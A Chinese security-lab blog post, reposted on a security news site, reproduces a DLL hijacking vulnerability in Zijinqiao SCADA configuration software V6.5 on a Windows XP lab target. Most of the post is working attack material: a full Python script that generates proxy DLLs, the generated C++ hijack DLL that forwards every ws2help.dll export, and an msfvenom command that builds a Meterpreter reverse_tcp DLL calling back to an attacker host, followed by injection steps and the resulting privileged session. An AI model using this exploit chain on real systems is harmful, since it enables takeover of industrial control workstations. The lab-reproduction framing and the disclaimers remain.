紫金桥监控组态软件 V6.5劫持漏洞

admin 2025年6月10日08:37:20评论7 views字数 11174阅读37分14秒阅读模式
星期五实验室

阅读须知
星期五实验室的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息造成的直接或间接后果和损失,均由使用者本人负责。
星期五实验室拥有对此文章的修改、删除和解释权限,如转载或传播此文章,需保证文章的完整性,未经授权,不得用于其他。
01

环境搭建

紫金桥监控组态软件 V6.5劫持漏洞
复现环境

windows xp sp3:192.168.190.191
kali:10.30.7.199
紫金桥v6.5官网下载最新版(截至2022-02-24)
漏洞环境搭建

这里是我们使用的XP系统信息
紫金桥监控组态软件 V6.5劫持漏洞
我们在官网下载紫金桥组态软件压缩包然后进行解压

紫金桥监控组态软件 V6.5劫持漏洞

紫金桥监控组态软件 V6.5劫持漏洞

这里我们还需要为XP系统安装python环境,windowsXP系统最高支持python3.4版本,我们这里安装python2.7并安装pip20.0.1。
紫金桥监控组态软件 V6.5劫持漏洞
虽然配好了pip,但是使用pip安装包时还是会失败。
02

漏洞复现

紫金桥监控组态软件 V6.5劫持漏洞
POC

首先我们先使用process explorer来进行进程分析,打开紫金桥组态软件的ProgMan.exe。
紫金桥监控组态软件 V6.5劫持漏洞
这里我们去注册表查看该dll文件是否满足劫持要求。
紫金桥监控组态软件 V6.5劫持漏洞
这里我们看到他不存在于系统保护的dll文件中,所以满足dll劫持条件,接下来我们使用python脚本来生成一个cpp文件用于编译生成一个我们可以用来进行劫持的dll文件(这句话可能有点长不太好理解,下边操作完就可以理解了)。
这里是我们执行python脚本。

python DLL_Hijacker.py c:WINDOWSsystem32ws2help.dll
#coding=utf-8## Dll Hijacker## platform: Python 2.x @ Windows ## author:Coca1neimport os,sys,timeimport pefiledef main():    try:        pe = pefile.PE(sys.argv[1])        exportTable = pe.DIRECTORY_ENTRY_EXPORT.symbols        print "[!]Find export function :[ %d ]rn" % len(exportTable)        for exptab in exportTable:             print "%3s %10s" % (exptab.ordinal, exptab.name)        print "rn[+] generating DLL Hijack cpp file ..."        generate(exportTable)        print "rn[+] generating DLL Hijack cpp file has finished!"    except Exception, e:        print edef generate(exportTable):    segments = r"//Generate by DLLHijacker.py#include <Windows.h>DEFINE_DLL_EXPORT_FUNC#define EXTERNC extern "C"#define NAKED __declspec(naked)#define EXPORT __declspec(dllexport)#define ALCPP EXPORT NAKED#define ALSTD EXTERNC EXPORT NAKED void __stdcall#define ALCFAST EXTERNC EXPORT NAKED void __fastcall#define ALCDECL EXTERNC NAKED void __cdeclnamespace DLLHijacker{    HMODULE m_hModule = NULL;    DWORD m_dwReturn[17] = {0};    inline BOOL WINAPI Load()    {        TCHAR tzPath[MAX_PATH];        lstrcpy(tzPath, TEXT("DLL_FILENAME.dll"));        m_hModule = LoadLibrary(tzPath);        if (m_hModule == NULL)            return FALSE;        return (m_hModule != NULL);    }    inline VOID WINAPI Free()    {        if (m_hModule)            FreeLibrary(m_hModule);    }    FARPROC WINAPI GetAddress(PCSTR pszProcName)    {        FARPROC fpAddress;        CHAR szProcName[16];        fpAddress = GetProcAddress(m_hModule, pszProcName);        if (fpAddress == NULL)        {            if (HIWORD(pszProcName) == 0)            {                wsprintf(szProcName, "%d", pszProcName);                pszProcName = szProcName;            }            ExitProcess(-2);        }        return fpAddress;    }}using namespace DLLHijacker;VOID Hijack(){    MessageBoxW(NULL, L"DLL Hijack! by DLLHijacker", L":)", 0);}BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved){    if (dwReason == DLL_PROCESS_ATTACH)    {        DisableThreadLibraryCalls(hModule);        if(Load())            Hijack();    }    else if (dwReason == DLL_PROCESS_DETACH)    {        Free();    }    return TRUE;}"    filename = sys.argv[1][sys.argv[1].rindex('\')+1:sys.argv[1].rindex('.')]    fp = open(filename + ".cpp", "w+")    define_dll_exp_func = ""    for exptable in exportTable:        define_dll_exp_func += r"#pragma comment(linker, "/EXPORT:" + str(exptable.name) +                            "=_DLLHijacker_" + str(exptable.name) + ",@"+ str(exptable.ordinal) +"")n"    segments = segments.replace('DLL_FILENAME', filename)    segments = segments.replace("DEFINE_DLL_EXPORT_FUNC", define_dll_exp_func).replace('\','')    fp.writelines(segments)    forward_dll_exp_func = ""    for exptable in exportTable:        forward_dll_exp_func += "ALCDECL DLLHijacker_"+ str(exptable.name) +"(void)n{" +                             "n        __asm POP m_dwReturn[0 * TYPE long];n    GetAddress(""+                             str(exptable.name) + "")();n    __asm JMP m_dwReturn[0 * TYPE long];n}rn"    fp.writelines(forward_dll_exp_func)    fp.close()def usage():    print "Usage:"    print "    %s c:\windows\system32\msimg32.dll" % sys.argv[0]if __name__ == "__main__":    if(len(sys.argv) <2):        usage()    else:        main()
紫金桥监控组态软件 V6.5劫持漏洞
紫金桥监控组态软件 V6.5劫持漏洞
这里成功生成了一个cpp格式文件
内容如下:
//Generate by DLLHijacker.py#include <Windows.h>#pragma comment(linker, "/EXPORT:WahCloseApcHelper=_DLLHijacker_WahCloseApcHelper,@1")#pragma comment(linker, "/EXPORT:WahCloseHandleHelper=_DLLHijacker_WahCloseHandleHelper,@2")#pragma comment(linker, "/EXPORT:WahCloseNotificationHandleHelper=_DLLHijacker_WahCloseNotificationHandleHelper,@3")#pragma comment(linker, "/EXPORT:WahCloseSocketHandle=_DLLHijacker_WahCloseSocketHandle,@4")#pragma comment(linker, "/EXPORT:WahCloseThread=_DLLHijacker_WahCloseThread,@5")#pragma comment(linker, "/EXPORT:WahCompleteRequest=_DLLHijacker_WahCompleteRequest,@6")#pragma comment(linker, "/EXPORT:WahCreateHandleContextTable=_DLLHijacker_WahCreateHandleContextTable,@7")#pragma comment(linker, "/EXPORT:WahCreateNotificationHandle=_DLLHijacker_WahCreateNotificationHandle,@8")#pragma comment(linker, "/EXPORT:WahCreateSocketHandle=_DLLHijacker_WahCreateSocketHandle,@9")#pragma comment(linker, "/EXPORT:WahDestroyHandleContextTable=_DLLHijacker_WahDestroyHandleContextTable,@10")#pragma comment(linker, "/EXPORT:WahDisableNonIFSHandleSupport=_DLLHijacker_WahDisableNonIFSHandleSupport,@11")#pragma comment(linker, "/EXPORT:WahEnableNonIFSHandleSupport=_DLLHijacker_WahEnableNonIFSHandleSupport,@12")#pragma comment(linker, "/EXPORT:WahEnumerateHandleContexts=_DLLHijacker_WahEnumerateHandleContexts,@13")#pragma comment(linker, "/EXPORT:WahInsertHandleContext=_DLLHijacker_WahInsertHandleContext,@14")#pragma comment(linker, "/EXPORT:WahNotifyAllProcesses=_DLLHijacker_WahNotifyAllProcesses,@15")#pragma comment(linker, "/EXPORT:WahOpenApcHelper=_DLLHijacker_WahOpenApcHelper,@16")#pragma comment(linker, "/EXPORT:WahOpenCurrentThread=_DLLHijacker_WahOpenCurrentThread,@17")#pragma comment(linker, "/EXPORT:WahOpenHandleHelper=_DLLHijacker_WahOpenHandleHelper,@18")#pragma comment(linker, "/EXPORT:WahOpenNotificationHandleHelper=_DLLHijacker_WahOpenNotificationHandleHelper,@19")#pragma comment(linker, "/EXPORT:WahQueueUserApc=_DLLHijacker_WahQueueUserApc,@20")#pragma comment(linker, "/EXPORT:WahReferenceContextByHandle=_DLLHijacker_WahReferenceContextByHandle,@21")#pragma comment(linker, "/EXPORT:WahRemoveHandleContext=_DLLHijacker_WahRemoveHandleContext,@22")#pragma comment(linker, "/EXPORT:WahWaitForNotification=_DLLHijacker_WahWaitForNotification,@23")#define EXTERNC extern "C"#define NAKED __declspec(naked)#define EXPORT __declspec(dllexport)#define ALCPP EXPORT NAKED#define ALSTD EXTERNC EXPORT NAKED void __stdcall#define ALCFAST EXTERNC EXPORT NAKED void __fastcall#define ALCDECL EXTERNC NAKED void __cdeclnamespace DLLHijacker{    HMODULE m_hModule = NULL;    DWORD m_dwReturn[17] = {0};    inline BOOL WINAPI Load(){        TCHAR tzPath[MAX_PATH];        lstrcpy(tzPath, TEXT("ws2help.dll"));        m_hModule = LoadLibrary(tzPath);        if (m_hModule == NULL)            return FALSE;        return (m_hModule != NULL);    }    inline VOID WINAPI Free(){        if (m_hModule)            FreeLibrary(m_hModule);    }    FARPROC WINAPI GetAddress(PCSTR pszProcName){        FARPROC fpAddress;        CHAR szProcName[16];        fpAddress = GetProcAddress(m_hModule, pszProcName);        if (fpAddress == NULL)        {            if (HIWORD(pszProcName) == 0)            {                wsprintf(szProcName, "%d", pszProcName);                pszProcName = szProcName;            }            ExitProcess(-2);        }        return fpAddress;    }}using namespace DLLHijacker;VOID Hijack(){    MessageBoxW(NULL, L"DLL Hijack! by DLLHijacker", L":)", 0);}BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved){    if (dwReason == DLL_PROCESS_ATTACH)    {        DisableThreadLibraryCalls(hModule);        if(Load())            Hijack();    }    else if (dwReason == DLL_PROCESS_DETACH)    {        Free();    }    return TRUE;}ALCDECL DLLHijacker_WahCloseApcHelper(void){        __asm POP m_dwReturn[0 * TYPE long];    GetAddress("WahCloseApcHelper")();    __asm JMP m_dwReturn[0 * TYPE long];}ALCDECL DLLHijacker_WahCloseHandleHelper(void){        __asm POP m_dwReturn[0 * TYPE long];    GetAddress("WahCloseHandleHelper")();    __asm JMP m_dwReturn[0 * TYPE long];}ALCDECL DLLHijacker_WahCloseNotificationHandleHelper(void){        __asm POP m_dwReturn[0 * TYPE long];    GetAddress("WahCloseNotificationHandleHelper")();    __asm JMP m_dwReturn[0 * TYPE long];}ALCDECL DLLHijacker_WahCloseSocketHandle(void){        __asm POP m_dwReturn[0 * TYPE long];    GetAddress("WahCloseSocketHandle")();    __asm JMP m_dwReturn[0 * TYPE long];}ALCDECL DLLHijacker_WahCloseThread(void){        __asm POP m_dwReturn[0 * TYPE long];    GetAddress("WahCloseThread")();    __asm JMP m_dwReturn[0 * TYPE long];}ALCDECL DLLHijacker_WahCompleteRequest(void){        __asm POP m_dwReturn[0 * TYPE long];    GetAddress("WahCompleteRequest")();    __asm JMP m_dwReturn[0 * TYPE long];}ALCDECL DLLHijacker_WahCreateHandleContextTable(void){        __asm POP m_dwReturn[0 * TYPE long];    GetAddress("WahCreateHandleContextTable")();    __asm JMP m_dwReturn[0 * TYPE long];}ALCDECL DLLHijacker_WahCreateNotificationHandle(void){        __asm POP m_dwReturn[0 * TYPE long];    GetAddress("WahCreateNotificationHandle")();    __asm JMP m_dwReturn[0 * TYPE long];}ALCDECL DLLHijacker_WahCreateSocketHandle(void){        __asm POP m_dwReturn[0 * TYPE long];    GetAddress("WahCreateSocketHandle")();    __asm JMP m_dwReturn[0 * TYPE long];}ALCDECL DLLHijacker_WahDestroyHandleContextTable(void){        __asm POP m_dwReturn[0 * TYPE long];    GetAddress("WahDestroyHandleContextTable")();    __asm JMP m_dwReturn[0 * TYPE long];}ALCDECL DLLHijacker_WahDisableNonIFSHandleSupport(void){        __asm POP m_dwReturn[0 * TYPE long];    GetAddress("WahDisableNonIFSHandleSupport")();    __asm JMP m_dwReturn[0 * TYPE long];}ALCDECL DLLHijacker_WahEnableNonIFSHandleSupport(void){        __asm POP m_dwReturn[0 * TYPE long];    GetAddress("WahEnableNonIFSHandleSupport")();    __asm JMP m_dwReturn[0 * TYPE long];}ALCDECL DLLHijacker_WahEnumerateHandleContexts(void){        __asm POP m_dwReturn[0 * TYPE long];    GetAddress("WahEnumerateHandleContexts")();    __asm JMP m_dwReturn[0 * TYPE long];}ALCDECL DLLHijacker_WahInsertHandleContext(void){        __asm POP m_dwReturn[0 * TYPE long];    GetAddress("WahInsertHandleContext")();    __asm JMP m_dwReturn[0 * TYPE long];}ALCDECL DLLHijacker_WahNotifyAllProcesses(void){        __asm POP m_dwReturn[0 * TYPE long];    GetAddress("WahNotifyAllProcesses")();    __asm JMP m_dwReturn[0 * TYPE long];}ALCDECL DLLHijacker_WahOpenApcHelper(void){        __asm POP m_dwReturn[0 * TYPE long];    GetAddress("WahOpenApcHelper")();    __asm JMP m_dwReturn[0 * TYPE long];}ALCDECL DLLHijacker_WahOpenCurrentThread(void){        __asm POP m_dwReturn[0 * TYPE long];    GetAddress("WahOpenCurrentThread")();    __asm JMP m_dwReturn[0 * TYPE long];}ALCDECL DLLHijacker_WahOpenHandleHelper(void){        __asm POP m_dwReturn[0 * TYPE long];    GetAddress("WahOpenHandleHelper")();    __asm JMP m_dwReturn[0 * TYPE long];}ALCDECL DLLHijacker_WahOpenNotificationHandleHelper(void){        __asm POP m_dwReturn[0 * TYPE long];    GetAddress("WahOpenNotificationHandleHelper")();    __asm JMP m_dwReturn[0 * TYPE long];}ALCDECL DLLHijacker_WahQueueUserApc(void){        __asm POP m_dwReturn[0 * TYPE long];    GetAddress("WahQueueUserApc")();    __asm JMP m_dwReturn[0 * TYPE long];}ALCDECL DLLHijacker_WahReferenceContextByHandle(void){        __asm POP m_dwReturn[0 * TYPE long];    GetAddress("WahReferenceContextByHandle")();    __asm JMP m_dwReturn[0 * TYPE long];}ALCDECL DLLHijacker_WahRemoveHandleContext(void){        __asm POP m_dwReturn[0 * TYPE long];    GetAddress("WahRemoveHandleContext")();    __asm JMP m_dwReturn[0 * TYPE long];}ALCDECL DLLHijacker_WahWaitForNotification(void){        __asm POP m_dwReturn[0 * TYPE long];    GetAddress("WahWaitForNotification")();    __asm JMP m_dwReturn[0 * TYPE long];}
这里我们将这个cpp文件创建dll工程并编译运行,生成一个dll文件。
紫金桥监控组态软件 V6.5劫持漏洞
我们将其名称改为ws2help.dll并将其放入到ProgMan.exe的根目录下。
紫金桥监控组态软件 V6.5劫持漏洞
然后我们点击运行ProgMan.exe文件
紫金桥监控组态软件 V6.5劫持漏洞
EXP
接下来我们配合msf来进行dll劫持注入攻击,先使用msfvenom生成dll格式木马文件。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.30.7.199 LPORT=4399 -f dll >/root/ws2help.dll
紫金桥监控组态软件 V6.5劫持漏洞
生成完之后我们将其发送至xp靶机然后配置msf监听模块。
紫金桥监控组态软件 V6.5劫持漏洞
配置完成后直接run,然后我们将dll文件放至桌面并将之前放入exe程序目录下的ws2help.dll文件删除。
运行ProgMan.exe以及DllInjection.exe(进程注入工具)
紫金桥监控组态软件 V6.5劫持漏洞
文件进行注入。
紫金桥监控组态软件 V6.5劫持漏洞
点击确认进行注入。
紫金桥监控组态软件 V6.5劫持漏洞
这里我们可以看到进程下多了一个ws2help.dll文件,我们返回msf监听查看。
紫金桥监控组态软件 V6.5劫持漏洞
成功返回会话并可以提升至最高权限
FRIDAY LAB

原文始发于微信公众号(星期五实验室):紫金桥监控组态软件 V6.5劫持漏洞

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月10日08:37:20
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   紫金桥监控组态软件 V6.5劫持漏洞http://cn-sec.com/archives/882781.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息